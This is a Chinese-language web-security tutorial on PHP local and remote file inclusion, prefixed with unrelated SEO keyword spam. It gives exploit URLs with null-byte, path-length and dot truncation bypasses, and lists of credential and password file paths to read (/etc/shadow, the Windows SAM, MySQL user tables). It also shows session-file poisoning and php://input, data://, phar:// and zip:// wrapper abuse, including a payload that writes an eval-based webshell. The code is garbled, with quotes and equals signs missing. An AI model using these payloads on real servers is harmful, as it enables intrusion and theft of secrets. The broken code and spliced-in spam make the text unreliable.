如何提高网站加载速度慢,seo综合诊断工具,做一手房有哪些网站比较好啊,腾讯云搭建ip教程文件包含漏洞 前言 《Web安全实战》系列集合了WEB类常见的各种漏洞#xff0c;笔者根据自己在Web安全领域中学习和工作的经验#xff0c;对漏洞原理和漏洞利用面进行了总结分析#xff0c;致力于漏洞准确性、丰富性#xff0c;希望对WEB安全工作者、WEB安全学习者能有所帮助…文件包含漏洞 前言 《Web安全实战》系列集合了WEB类常见的各种漏洞笔者根据自己在Web安全领域中学习和工作的经验对漏洞原理和漏洞利用面进行了总结分析致力于漏洞准确性、丰富性希望对WEB安全工作者、WEB安全学习者能有所帮助减少获取知识的时间成本。 0x01 文件包含简介 服务器执行PHP文件时可以通过文件包含函数加载另一个文件中的PHP代码并且当PHP来执行这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时您只更新一个包含文件就可以了或者当您向网站添加一张新页面时仅仅需要修改一下菜单文件而不是更新所有网页中的链接。 文件包含函数 PHP中文件包含函数有以下四种 require() require_once() include() include_once() include和require区别主要是include在包含的过程中如果出现错误会抛出一个警告程序继续正常运行而require函数出现错误的时候会直接报错并退出程序的执行。 而include_once()require_once()这两个函数与前两个的不同之处在于这两个函数只包含一次适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下你想确保它只被包括一次以避免函数重定义变量重新赋值等问题。 漏洞产生原因 文件包含函数加载的参数没有经过过滤或者严格的定义可以被用户控制包含其他恶意文件导致了执行了非预期的代码。 示例代码 ?php$filename $_GET[filename];include($filename);
?例如 $_GET[filename]参数开发者没有经过严格的过滤直接带入了include的函数攻击者可以修改$_GET[filename]的值执行非预期的操作。 0x02 本地文件包含漏洞 无限制本地文件包含漏洞 测试代码 ?php$filename $_GET[filename];include($filename);
?测试结果 通过目录遍历漏洞可以获取到系统中其他文件的内容 常见的敏感信息路径 Windows系统 c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息 Linux/Unix系统 /etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件 session文件包含漏洞 利用条件 session的存储位置可以获取。 1. 通过phpinfo的信息可以获取到session的存储位置。 通过phpinfo的信息获取到session.save_path为/var/lib/php/session 2. 通过猜测默认的session存放位置进行尝试。 如linux下默认存储在/var/lib/php/session目录下 session中的内容可以被控制传入恶意代码。 示例 ?phpsession_start();$ctfs$_GET[ctfs];$_SESSION[username]$ctfs;? 漏洞分析 此php会将获取到的GET型ctfs变量的值存入到session中。 当访问http://www.ctfs-wiki/session.php?ctfsctfs 后会在/var/lib/php/session目录下存储session的值。 session的文件名为sess_sessionidsessionid可以通过开发者模式获取。 所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。 到服务器的/var/lib/php/session目录下查看果然存在此文件内容为 username|s:4:ctfs;[rootc21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6username|s:4:ctfs 漏洞利用 通过上面的分析可以知道ctfs传入的值会存储到session文件中如果存在本地文件包含漏洞就可以通过ctfs写入恶意代码到session文件中然后通过文件包含漏洞执行此恶意代码getshell。 当访问http://www.ctfs-wiki/session.php?ctfs?php phpinfo();?后会在/var/lib/php/session目录下存储session的值。 [root6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1ausername|s:18:?php phpinfo();?; 攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置文件名称通过开发者模式可获取到然后通过文件包含的漏洞解析恶意代码getshell。 有限制本地文件包含漏洞绕过 %00截断 条件magic_quotes_gpc Off php版本5.3.4 测试代码 ?php$filename $_GET[filename];include($filename . .html);
?测试结果 http://www.ctfs-wiki.com/FI/FI.php?filename../../../../../../../boot.ini%00路径长度截断 条件windows OS点号需要长于256linux OS 长于4096 Windows下目录最大长度为256字节超出的部分会被丢弃 Linux下目录最大长度为4096字节超出的部分会被丢弃。 测试代码 ?php$filename $_GET[filename];include($filename . .html);
?EXP: http://www.ctfs-wiki.com/FI/FI.php?filenametest.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././点号截断 条件windows OS点号需要长于256 测试代码 ?php$filename $_GET[filename];include($filename . .html);
?EXP: http://www.ctfs-wiki.com/FI/FI.php
?filenametest.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................0x03 远程文件包含漏洞 PHP的配置文件allow_url_fopen和allow_url_include设置为ONinclude/require等包含函数可以加载远程文件如果远程文件没经过严格的过滤导致了执行恶意文件的代码这就是远程文件包含漏洞。 allow_url_fopen On是否允许打开远程文件 allow_url_include On是否允许include/require远程文件 无限制远程文件包含漏洞 测试代码 ?php$filename $_GET[filename];include($filename);
?通过远程文件包含漏洞包含php.txt可以解析。 http://www.ctfs-wiki.com/FI/FI.php?filenamehttp://192.168.91.133/FI/php.txt测试结果 有限制远程文件包含漏洞绕过 测试代码 ?php include($_GET[filename] . .html); ?代码中多添加了html后缀导致远程包含的文件也会多一个html后缀。 问号绕过 http://www.ctfs-wiki.com/FI/WFI.php?filenamehttp://192.168.91.133/FI/php.txt?#号绕过 http://www.ctfs-wiki.com/FI/WFI.php?filenamehttp://192.168.91.133/FI/php.txt%23还有哪些可以绕过用burp跑一遍发现空格也可以绕过 http://www.ctfs-wiki.com/FI/WFI.php?filenamehttp://192.168.91.133/FI/php.txt%200x04 PHP伪协议 PHP 带有很多内置 URL 风格的封装协议可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议还能通过 stream_wrapper_register() 来注册自定义的封装协议。 目录 php:// 输入输出流 PHP 提供了一些杂项输入/输出IO流允许访问 PHP 的输入输出流、标准输入输出和错误描述符 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。 php://filter本地磁盘文件进行读取 元封装器设计用于数据流打开时的筛选过滤应用对本地磁盘文件进行读写。 用法?filenamephp://filter/convert.base64-encode/resourcexxx.php ?filenamephp://filter/readconvert.base64-encode/resourcexxx.php 一样。 条件只是读取需要开启 allow_url_fopen不需要开启 allow_url_include 测试代码 ?php$filename $_GET[filename];include($filename);
?php://input 可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctypemultipart/form-data 的时候 php://input 是无效的。 用法?filephp://input 数据利用POST传过去。 php://input 读取POST数据 碰到file_get_contents()就要想到用php://input绕过因为php伪协议也是可以利用http协议的即可以使用POST方式传数据具体函数意义下一项 测试代码 ?phpecho file_get_contents(php://input);
?测试结果 php://input写入木马 测试代码 ?php$filename $_GET[filename];include($filename);
?条件php配置文件中需同时开启 allow_url_fopen 和 allow_url_includePHP 5.3.0,就可以造成任意代码执行在这可以理解成远程文件包含漏洞RFI即POST过去PHP代码即可执行。 如果POST的数据是执行写入一句话木马的PHP代码就会在当前目录下写入一个木马。 ?PHP fputs(fopen(shell.php,w),?php eval($_POST[cmd])?);?测试结果 如果不开启allow_url_include会报错 php://input命令执行 测试代码 ?php$filename $_GET[filename];include($filename);
?条件php配置文件中需同时开启 allow_url_fopen 和 allow_url_includePHP 5.30,就可以造成任意代码执行在这可以理解成远程文件包含漏洞RFI即POST过去PHP代码即可执行 如果不开启allow_url_include会报错 file://伪协议 读取文件内容 通过file协议可以访问本地文件系统读取到文件的内容 测试代码 ?php$filename $_GET[filename];include($filename);
?data://伪协议 数据流封装器和php://相似都是利用了流的概念将原本的include的文件流重定向到了用户可控制的输入流中简单来说就是执行文件的包含方法包含了你的输入流通过你输入payload来实现目的 data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4 data://读取文件 和php伪协议的input类似碰到file_get_contents()来用 ?php // 打印 I love PHP echo file_get_contents(data://text/plain;base64,SSBsb3ZlIFBIUAo); ? 注意span stylecolor: rgb(121, 121, 121);?php phpinfo();,这类执行代码最后没有?/span闭合; 如果php.ini里的allow_url_includeOnPHP 5.3.0,就可以造成任意代码执行同理在这就可以理解成远程文件包含漏洞RFI 测试代码 ?php$filename $_GET[filename];include($filename);
?phar://伪协议 这个参数是就是php解压缩包的一个函数不管后缀是什么都会当做压缩包来解压。 用法?filephar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP 5.3.0 压缩包需要是zip协议压缩rar不行将木马文件压缩后改为其他任意格式的文件都可以正常使用。 步骤 写一个一句话木马文件shell.php然后用zip协议压缩为shell.zip然后将后缀改为png等其他格式。 测试代码 ?php$filename $_GET[filename];include($filename);
?zip://伪协议 zip伪协议和phar协议类似但是用法不一样。 用法?filezip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。 条件 PHP 5.3.0注意在windows下测试要5.3.0PHP5.4 才可以 #在浏览器中要编码为%23否则浏览器默认不会传输特殊字符。 测试代码 ?php$filename $_GET[filename];include($filename);
?